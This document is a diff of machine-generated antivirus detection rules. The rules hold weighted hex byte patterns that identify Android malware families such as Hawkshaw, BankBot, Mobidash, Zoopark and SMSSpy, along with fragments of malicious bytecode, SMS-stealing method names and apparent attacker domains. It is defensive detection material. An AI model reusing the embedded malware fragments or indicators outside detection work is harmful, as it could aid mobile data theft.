04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 61 77 6b 73 68 61 77 2e 43 00 01 00 0b 00 6d 65 2e 68 61 77 6b 73 68 61 77 01 00 0d 00 4c 6d 65 2f 68 61 77 6b 73 68 61 77 2f 01 00 0c 00 6d 65 2e 62 61 6c 64 70 61 6e 65 6c 01 00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 42 6f 74 2e 41 00 01 00 13 01 4c 63 6f 6d 2f 6c 61 6e 67 75 61 67 65 2f 74 61 73 6b 2f 01 00 09 01 73 74 79 6c 65 73 6f 64 } //0 + $a_6f_2 = {00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 61 77 6b 73 68 61 77 2e 43 00 01 00 0b 00 6d 65 2e 68 61 77 6b 73 68 61 77 01 00 0d 00 4c 6d 65 2f 68 61 77 6b 73 68 61 77 2f 01 00 0c 00 6d 65 2e 62 61 6c 64 70 61 6e 65 6c 01 00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 58 21 4d 54 42 00 01 00 17 03 8f 03 00 54 64 c1 2f 54 44 b7 30 6e 20 90 01 01 8f 43 00 1a 04 90 00 01 00 } //0 + $a_62_3 = {2f 54 63 c1 2f 54 33 bc 30 6e 10 90 01 01 8d 01 00 0c 04 6e 30 90 01 01 5d 32 04 0a 02 90 00 00 00 be 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 53 70 79 2e 58 21 4d 54 42 00 01 00 } //802 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6f_2 & 1)*0) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6f_2 & 1)*0+(#a_62_3 & 1)*802) >=4 } -rule _InfrastructureShared_24622{ +rule _InfrastructureShared_25917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 61 77 6b 73 68 61 77 2e 43 00 01 00 0b 00 6d 65 2e 68 61 77 6b 73 68 61 77 01 00 0d 00 4c 6d 65 2f 68 61 77 6b 73 68 61 77 2f 01 00 0c 00 6d 65 2e 62 61 6c 64 70 61 } //16675 - $a_01_1 = {00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 42 6f 74 2e 41 00 01 00 13 01 4c 63 6f 6d 2f 6c 61 6e 67 75 61 67 65 2f 74 61 73 6b 2f 01 00 09 01 73 74 79 6c 65 73 6f 64 61 01 00 11 01 43 68 4c 4f 63 41 } //25966 - $a_6c_2 = {35 32 32 33 39 34 01 00 0b 01 77 6f 72 72 79 61 74 74 61 63 6b 00 00 be 71 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 65 6f 73 74 2e 42 32 00 01 00 0e 00 67 65 74 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 0e 00 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 09 00 6c 6f 61 64 43 6c 61 73 73 01 00 0b 00 67 } //28267 - $a_65_3 = {6f 75 72 63 65 01 00 09 00 67 65 74 41 73 73 65 74 73 00 00 be 72 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 69 6f 6d 2e 48 00 01 00 34 01 30 73 48 2b 78 74 4c 70 77 78 37 46 77 4f 58 48 78 2b } //29797 + $a_01_1 = {00 0e 00 4c 6d 65 2f 62 61 6c 64 70 61 6e 65 6c 2f 00 00 be 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 58 21 4d 54 42 00 01 00 17 03 8f 03 00 54 64 c1 2f 54 44 b7 30 6e 20 90 01 01 8f 43 00 1a 04 90 00 01 00 22 03 54 62 c2 2f 54 63 c1 2f 54 } //25966 + $a_6e_2 = {90 01 01 8d 01 00 0c 04 6e 30 90 01 01 5d 32 04 0a 02 90 00 00 00 be 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a } //-17357 + $a_72_3 = {69 64 4f 53 2f 53 4d 53 53 70 79 2e 58 21 4d 54 42 00 01 00 1f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 64 65 73 79 6e 63 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 00 1b 03 01 03 00 0c 03 6e 20 90 01 01 13 30 00 0a 03 38 03 17 00 22 03 53 00 1c 00 90 00 00 00 be 71 00 00 04 00 04 00 04 00 21 23 54 45 } //28225 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25966+(#a_6c_2 & 1)*28267+(#a_65_3 & 1)*29797) >=2 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25966+(#a_6e_2 & 1)*-17357+(#a_72_3 & 1)*28225) >=2 } -rule _InfrastructureShared_24623{ +rule _InfrastructureShared_25918{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 58 21 4d 54 42 00 01 00 17 03 8f 03 00 54 64 c1 2f 54 44 b7 30 6e 20 90 01 01 8f 43 00 1a 04 90 00 01 00 22 03 54 62 c2 2f 54 } //21539 + $a_54_1 = {bc 30 6e 10 90 01 01 8d 01 00 0c 04 6e 30 90 01 01 5d 32 04 0a 02 90 00 00 00 be 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //-16029 + condition: + ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*-16029) >=2 + +} +rule _InfrastructureShared_25919{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 53 70 79 2e 58 21 4d 54 42 00 01 00 1f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 64 65 73 79 6e 63 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 } //21539 + $a_01_1 = {03 00 0c } //6912 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*6912) >=2 + +} +rule _InfrastructureShared_25920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322538,7 +339177,7 @@ rule _InfrastructureShared_24623{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*20300+(#a_00_2 & 1)*28271+(#a_61_3 & 1)*27648) >=4 } -rule _InfrastructureShared_24624{ +rule _InfrastructureShared_25921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -322546,12 +339185,12 @@ rule _InfrastructureShared_24624{ $a_6f_0 = {61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 65 6f 73 74 2e 42 32 00 01 00 0e 00 67 65 74 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 0e 00 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 09 00 6c 6f 61 64 43 6c 61 73 73 01 00 0b 00 67 65 74 52 65 73 6f 75 72 63 65 01 00 09 00 67 65 74 41 73 73 65 74 73 00 00 be 72 00 00 02 00 02 00 02 00 21 23 54 } //21539 $a_54_1 = {6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 69 6f 6d 2e 48 00 01 00 34 01 30 73 48 2b 78 74 4c 70 77 78 37 46 77 4f 58 48 78 2b 6e 48 46 39 4b 54 35 63 32 41 70 74 56 66 } //19525 $a_70_2 = {63 47 38 78 78 66 59 77 65 58 64 32 51 3d 3d 01 00 10 01 30 72 33 6c 70 74 46 79 56 68 33 4b 72 75 4d 3d 00 00 be 72 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 69 72 70 75 73 68 2e 41 21 4d 54 42 00 01 00 13 00 63 6f 6d 2e 57 44 67 52 2e 42 55 57 77 31 34 31 34 31 38 01 00 07 00 41 69 72 70 75 73 } //14711 - $a_65_4 = {20 49 6e 66 6f 20 53 65 6e 74 01 00 0a 00 6e 61 6f 6b 73 6c 2e 63 6f 6d 00 00 03 00 be 74 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 50 21 4d 54 42 00 01 00 3a 03 07 e5 54 55 7f 1d 6e 10 90 01 02 05 00 53 f8 7c 1d 16 0c ff ff bd c8 5a f8 7c 1d } //21760 + $a_65_4 = {20 49 6e 66 6f 20 53 65 6e 74 01 00 0a 00 6e 61 6f 6b 73 6c 2e 63 6f 6d 00 00 03 00 be 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 59 21 4d 54 42 00 01 00 1c 01 54 07 46 09 23 31 84 2e 71 10 fe f9 08 00 0c 08 4d 08 01 05 6e 30 17 fb 67 01 28 17 01 00 20 01 70 10 } //21760 condition: ((#a_6f_0 & 1)*21539+(#a_54_1 & 1)*19525+(#a_70_2 & 1)*14711+(#a_65_4 & 1)*21760) >=5 } -rule _InfrastructureShared_24625{ +rule _InfrastructureShared_25922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322562,20 +339201,41 @@ rule _InfrastructureShared_24625{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*26232) >=2 } -rule _InfrastructureShared_24626{ +rule _InfrastructureShared_25923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 69 72 70 75 73 68 2e 41 21 4d 54 42 00 01 00 13 00 63 6f 6d 2e 57 44 67 52 2e 42 55 57 77 31 34 31 34 31 38 01 00 07 00 41 69 72 70 75 73 68 01 00 0e 00 55 73 65 72 20 49 } //16675 - $a_20_1 = {65 6e 74 01 00 0a 00 6e 61 6f 6b 73 6c 2e 63 6f 6d 00 00 03 00 be 74 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 65 6e 74 2e 50 21 4d 54 42 00 01 00 3a 03 07 e5 54 55 7f 1d 6e 10 90 01 02 05 00 53 f8 7c 1d 16 0c ff ff bd c8 5a f8 7c 1d 6e 20 90 } //26222 - $a_00_2 = {0c 05 6e 10 90 01 02 05 00 0c 05 6e 20 90 01 02 50 00 d8 02 02 01 90 00 00 00 be 74 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 49 21 4d 54 42 00 01 00 1d 03 43 54 00 0c 04 21 45 01 26 35 56 11 00 46 07 04 06 6e 10 90 01 01 43 07 00 1a 08 90 00 01 00 20 03 12 00 6e 20 50 01 03 00 0c 00 1a 01 90 01 01 7e 1a 02 00 00 72 30 73 03 10 02 0c 00 1a 01 90 00 00 00 be 74 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 58 79 62 6f 74 2e 41 21 4d 54 42 00 01 00 11 00 4c 63 6f 6d 2f 78 79 62 6f 74 2f 69 6e 66 65 63 74 01 00 12 00 58 79 62 6f 74 41 63 74 69 76 69 74 79 2e 6a 61 76 61 01 00 0a 00 58 79 73 65 63 20 42 } //513 - $a_01_3 = {00 0c 00 78 79 73 68 65 6c 6c 2e 6a 61 76 61 00 00 be 74 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 49 6e 73 74 } //29807 + $a_20_1 = {65 6e 74 01 00 0a 00 6e 61 6f 6b 73 6c 2e 63 6f 6d 00 00 03 00 be 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 59 21 4d 54 42 00 01 00 1c 01 54 07 46 09 23 31 84 2e 71 10 fe f9 08 00 0c 08 4d 08 01 05 6e 30 17 fb 67 01 28 17 01 00 20 01 70 10 40 fa 01 } //26222 + $a_40_3 = {00 00 5b 10 aa 60 12 00 5b 10 ab 60 12 00 5c 10 } //28716 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26222+(#a_00_2 & 1)*513+(#a_01_3 & 1)*29807) >=4 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26222+(#a_40_3 & 1)*28716) >=4 } -rule _InfrastructureShared_24627{ +rule _InfrastructureShared_25924{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 59 21 4d 54 42 00 01 00 1c 01 54 07 46 09 23 31 84 2e 71 10 fe f9 08 00 0c 08 4d 08 01 05 6e 30 17 fb 67 01 28 17 01 00 20 01 } //21539 + $a_fa_1 = {00 22 00 01 2c 70 10 40 fa 00 00 5b 10 aa 60 12 00 5b 10 ab 60 12 00 5c 10 ac 60 00 00 be 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 } //4208 + condition: + ((#a_4c_0 & 1)*21539+(#a_fa_1 & 1)*4208) >=2 + +} +rule _InfrastructureShared_25925{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 54 68 61 6d 65 72 61 2e 4a 21 4d 54 42 00 01 00 28 01 6e 10 11 45 07 00 0c 00 07 23 1f 03 dc 04 6e 10 c9 2a 03 00 22 04 38 08 12 05 70 30 01 2e 04 05 6e 40 } //21539 + $a_11_1 = {00 01 00 16 01 54 20 52 05 12 01 5b 01 8d 02 52 21 51 05 71 20 e5 0d 10 00 0e 00 00 00 be 74 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 41 6e 64 72 6f } //7608 + condition: + ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*7608) >=2 + +} +rule _InfrastructureShared_25926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -322585,17 +339245,7 @@ rule _InfrastructureShared_24627{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_24628{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 49 21 4d 54 42 00 01 00 1d 03 43 54 00 0c 04 21 45 01 26 35 56 11 00 46 07 04 06 6e 10 90 01 01 43 07 00 1a 08 90 00 01 00 20 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=2 - -} -rule _InfrastructureShared_24629{ +rule _InfrastructureShared_25927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322608,7 +339258,7 @@ rule _InfrastructureShared_24629{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*31064+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_24630{ +rule _InfrastructureShared_25928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 04 00 21 " @@ -322620,7 +339270,7 @@ rule _InfrastructureShared_24630{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*0) >=5 } -rule _InfrastructureShared_24631{ +rule _InfrastructureShared_25929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 03 00 21 " @@ -322632,43 +339282,33 @@ rule _InfrastructureShared_24631{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25697+(#a_75_2 & 1)*27649) >=7 } -rule _InfrastructureShared_24632{ +rule _InfrastructureShared_25930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4d 6f 62 69 44 61 73 68 2e 41 00 01 00 0a 01 53 74 61 72 74 41 70 70 41 64 01 00 1b 01 41 75 64 69 6f 36 32 38 39 39 39 5f 50 6c 61 79 6c 69 73 74 4d 61 6e 61 67 65 72 01 00 0e 01 46 69 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 01 00 13 01 67 } //20515 $a_6d_1 = {6c 74 69 6e 67 63 61 6c 63 69 2e 64 62 00 00 be 75 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 5a 6f 6f 70 61 72 6b 2e 41 21 4d 54 42 00 01 00 0c 00 72 68 75 62 61 72 62 33 2e 63 6f 6d 01 00 08 00 2f 7a 6f 6f 2e 7a 6f 6f 01 00 0c 00 73 61 76 65 2e 70 } //27759 - $a_6b_2 = {79 01 00 09 00 67 65 74 41 6c 6c 53 6d 73 01 00 09 00 2f 4d 4a 4f 35 2e 70 64 66 00 00 04 00 be 76 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 } //28776 - $a_62_3 = {64 61 73 68 2e 41 47 21 4d 54 42 00 01 00 1e 03 65 00 14 06 1c 00 0d 7f 6e 20 90 01 01 11 65 00 6e 10 90 01 01 15 05 00 0c 06 5b 56 90 00 01 00 21 03 96 14 06 b8 00 0a 7f 6e 20 90 01 01 11 65 00 0c 06 5b 56 90 01 01 96 14 06 9d 02 0a 7f 6e 20 90 00 00 00 be 76 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 } //19759 + $a_6b_2 = {79 01 00 09 00 67 65 74 41 6c 6c 53 6d 73 01 00 09 00 2f 4d 4a 4f 35 2e 70 64 66 00 00 04 00 be 76 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 } //28776 + $a_73_3 = {65 6e 64 2e 44 21 4d 54 42 00 01 00 07 01 53 4d 53 4c 69 73 74 01 00 10 01 54 69 6d 65 53 4d 53 44 62 41 64 61 70 74 65 72 02 00 0a 01 74 69 6d 65 73 6d 73 2e 64 62 01 00 07 01 41 64 64 53 4d 53 32 01 00 0d 01 67 65 74 41 6c 6c 54 69 6d 65 53 4d 53 00 00 be 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 } //21295 condition: - ((#a_41_0 & 1)*20515+(#a_6d_1 & 1)*27759+(#a_6b_2 & 1)*28776+(#a_62_3 & 1)*19759) >=3 + ((#a_41_0 & 1)*20515+(#a_6d_1 & 1)*27759+(#a_6b_2 & 1)*28776+(#a_73_3 & 1)*21295) >=3 } -rule _InfrastructureShared_24633{ +rule _InfrastructureShared_25931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 5a 6f 6f 70 61 72 6b 2e 41 21 4d 54 42 00 01 00 0c 00 72 68 75 62 61 72 62 33 2e 63 6f 6d 01 00 08 00 2f 7a 6f 6f 2e 7a 6f 6f 01 00 0c 00 73 61 76 65 2e 70 68 70 3f 6b 65 79 01 } //16675 - $a_6c_2 = {6d 73 01 00 09 00 2f 4d 4a 4f 35 2e 70 64 66 00 00 04 00 be 76 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 47 21 4d 54 42 00 01 00 1e 03 65 00 14 06 1c 00 0d 7f 6e 20 90 01 01 11 65 00 6e 10 90 01 01 15 05 00 0c 06 5b 56 90 00 01 00 21 03 96 14 } //16756 - $a_90_4 = {01 11 65 00 0c 06 5b 56 90 01 01 96 14 06 9d 02 0a 7f 6e 20 90 00 00 00 be 76 00 00 06 00 06 00 } //28287 + $a_6c_2 = {6d 73 01 00 09 00 2f 4d 4a 4f 35 2e 70 64 66 00 00 04 00 be 76 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 65 6e 64 2e 44 21 4d 54 42 00 01 00 07 01 53 4d 53 4c 69 73 74 01 00 10 01 54 69 6d 65 53 4d 53 44 62 41 64 61 70 74 65 72 02 00 0a 01 74 69 6d 65 73 6d 73 } //16756 + $a_01_3 = {00 07 01 41 64 64 53 4d 53 32 01 00 0d 01 67 65 74 41 6c 6c 54 69 6d 65 53 4d 53 00 00 be 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 4e 6f 74 65 2e 44 21 4d 54 42 00 01 00 43 03 6e 20 5a 00 bc 00 0a 06 3a 06 90 01 02 90 90 } //25646 + $a_12_4 = {35 71 90 01 02 dc } //263 condition: - ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*16756+(#a_90_4 & 1)*28287) >=5 + ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*16756+(#a_01_3 & 1)*25646+(#a_12_4 & 1)*263) >=5 } -rule _InfrastructureShared_24634{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 47 21 4d 54 42 00 01 00 1e 03 65 00 14 06 1c 00 0d 7f 6e 20 90 01 01 11 65 00 6e 10 90 01 01 15 05 00 0c 06 5b 56 90 00 01 00 } //21539 - $a_14_1 = {b8 00 0a 7f 6e 20 90 01 01 11 65 00 0c 06 5b 56 90 01 01 96 14 06 9d 02 0a 7f 6e 20 90 00 00 00 be 76 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 65 6e 64 2e 44 21 4d 54 42 00 01 00 07 01 53 4d 53 4c 69 73 74 01 00 10 01 54 69 6d 65 53 4d 53 44 62 41 64 61 70 74 65 72 02 00 0a 01 74 69 6d 65 73 6d 73 2e 64 62 01 00 07 01 41 64 64 53 4d 53 32 01 00 0d 01 67 65 74 41 6c 6c 54 69 6d 65 53 } //801 - condition: - ((#a_4c_0 & 1)*21539+(#a_14_1 & 1)*801) >=2 - -} -rule _InfrastructureShared_24635{ +rule _InfrastructureShared_25932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 05 00 21 " @@ -322682,7 +339322,7 @@ rule _InfrastructureShared_24635{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_77_3 & 1)*0+(#a_5f_4 & 1)*25449) >=6 } -rule _InfrastructureShared_24636{ +rule _InfrastructureShared_25933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -322692,7 +339332,7 @@ rule _InfrastructureShared_24636{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_24637{ +rule _InfrastructureShared_25934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322704,7 +339344,7 @@ rule _InfrastructureShared_24637{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28769+(#a_53_3 & 1)*17408) >=4 } -rule _InfrastructureShared_24638{ +rule _InfrastructureShared_25935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322716,7 +339356,7 @@ rule _InfrastructureShared_24638{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*13+(#a_4d_3 & 1)*2048) >=4 } -rule _InfrastructureShared_24639{ +rule _InfrastructureShared_25936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -322725,37 +339365,48 @@ rule _InfrastructureShared_24639{ $a_4d_1 = {61 } //3328 a $a_65_2 = {55 4e 2e 64 62 01 00 09 01 52 45 43 4f 43 43 43 43 43 00 00 be 77 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 46 61 6b 65 41 64 42 6c 6f 63 6b 65 72 2e 43 21 4d 54 42 00 01 00 10 00 63 6f 6d 2e 61 70 6c 64 2e 61 6e 64 72 6f 69 64 01 00 0b 01 41 64 73 20 42 6c 6f 63 6b 65 72 01 00 0a 01 49 53 68 61 72 65 64 4d 65 6d 01 00 08 01 } //30067 $a_61_3 = {41 70 6b 01 00 0d 01 73 65 6e 64 42 72 6f 61 64 63 61 73 74 00 00 04 00 be 78 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6c 41 63 74 6f 72 2e 41 00 01 00 1f 00 63 e2 80 8c 72 65 61 e2 80 8c 74 65 20 62 e2 80 8c 79 20 69 e2 80 8c 72 68 e2 80 8c 61 63 6b 01 00 11 00 69 72 68 e2 } //19529 - $a_63_4 = {5f 61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 62 61 6e 6b 65 72 2e 46 00 01 00 1b 01 49 43 49 43 49 20 42 61 6e 6b 20 50 65 72 73 6f } //-29568 + $a_63_4 = {5f 61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 41 4a 21 4d 54 42 00 01 00 20 01 22 00 1a 0a 70 10 db 34 00 00 1a 01 } //-29568 condition: ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*3328+(#a_65_2 & 1)*30067+(#a_61_3 & 1)*19529+(#a_63_4 & 1)*-29568) >=4 } -rule _InfrastructureShared_24640{ +rule _InfrastructureShared_25937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 46 61 6b 65 41 64 42 6c 6f 63 6b 65 72 2e 43 21 4d 54 42 00 01 00 10 00 63 6f 6d 2e 61 70 6c 64 2e 61 6e 64 72 6f 69 64 01 00 0b 01 41 64 73 20 42 6c 6f 63 6b 65 72 01 00 0a 01 49 53 68 61 72 65 64 4d 65 6d 01 00 08 01 49 4c 6f 61 64 41 70 } //20515 $a_6e_2 = {42 72 6f 61 64 63 61 73 74 00 00 04 00 be 78 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6c 41 63 74 6f 72 2e 41 00 01 00 1f 00 63 e2 80 